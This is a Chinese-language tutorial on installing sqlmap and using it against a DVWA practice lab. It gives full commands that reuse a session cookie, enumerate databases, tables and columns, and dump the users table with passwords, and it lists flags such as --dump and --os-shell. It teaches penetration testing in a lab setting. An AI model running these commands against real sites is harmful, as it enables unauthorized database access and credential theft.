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检测SQL注入漏洞的专用工具是安全人士工具箱的必备品。Sqlmap是由python开发的用来检测与利用SQL注入漏洞的免费开源工具。它可以确定哪些参数、标头或数据元素容易受到SQL注入的影响，以及哪些类型的攻击是可能的。本文详细讲解这款神器的安装及使用。
1、什么是SQLMap？
SQLmap是一款由python开发的用来检测与利用SQL注入漏洞的免费开源工具。支持多种数据库，如MySQL、Oracle、PostgreSQL、SQL Server、Access、IBMDB2、SQLite等数据库。有一个非常棒的特性，即对检测与利用的自动化处理（如数据库指纹、访问底层文件系统、执行命令）。
2、SQLMap下载
官方网站下载：http://sqlmap.org/
这里选择Github去下载
3、win10下SQLMap安装
1、先安装好python环境，不管是2还是3版本都支持（python安装过程略，自行百度解决）。安装后可cmd命令窗口输入python -V 查看到版本信息即为成功。
2、将下载好的sqlmap-master.zip压缩包，解压到自己需要的目录
3、进入解压后的目录，在显示目录路径位置输入cmd回车，在弹出的命令行窗口，输入 python sqlmap.py即开启工具使用
4、SQLMap的常用参数
-u∶指定目标URL进行sql注入检测
–batch：自动去做问题应答
–cookie :当前会话的cookie值
–dbs: 查询当前网站所有数据库
-D：指定数据库名
–tables：查询数据库下的所有表名
-T：指定表名
–columns：指定查询所有字段
-C：指定字段的名称
–dump：查询并导出其数据，拖库
–current-db:获取当前数据库
–current-user :获取当前登录数据库用户名称
–users：查询数据库的所有用户
–password：查询数据库用户的密码
–os-shell：直接返回一个shell（如果存在的话)
-flush-session 刷新session文件
如果不想用之前缓存这个目标的session文件，可以使用这个参数。会清空之前的session，重新测试该目标。
5、SQLMap的基本应用
基于DVWA靶场以下模块，进行SQLMap实操演示
1、注入判断 -u
输入：python sqlmap.py -u http://192.168.253.137/vulnerabilities/sqli/?id=1&Submit=Submit。去进行操作–会报错，需要登录。
2、添加cookie绕过登录
python sqlmap.py -u “http://192.168.253.137/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=“PHPSESSID=980svotqv5fdmcr5fpscqf8f83;security=low”。
运行过程中需要用户输入y/n才能进入下一步操作，如果希望跳过这些，可以在命令末尾加 --batch
通过以上结果可知，存在SQL注入点。
3、查询当下所有数据库
python sqlmap.py -u “http://192.168.253.137/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=“PHPSESSID=980svotqv5fdmcr5fpscqf8f83;security=low” --dbs --batch
4、查询指定库下的表名
python sqlmap.py -u “http://192.168.253.137/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=“PHPSESSID=980svotqv5fdmcr5fpscqf8f83;security=low” -D dvwa --tables
5、查指定表的所有字段
python sqlmap.py -u “http://192.168.253.137/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=“PHPSESSID=980svotqv5fdmcr5fpscqf8f83;security=low” -D dvwa -T users --columns
6、查询字段内容
python sqlmap.py -u “http://192.168.253.137/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=“PHPSESSID=980svotqv5fdmcr5fpscqf8f83;security=low” -D dvwa -T users -C user,password --dump
这个过程有点慢，请耐心等待，最终得到表的所有用户及明文密码信息。
最后
此文中提到的工具及技术操作，仅用于学术交流，请遵守《网络安全法》，严禁将此文中工具和技术用于非法攻击测试。
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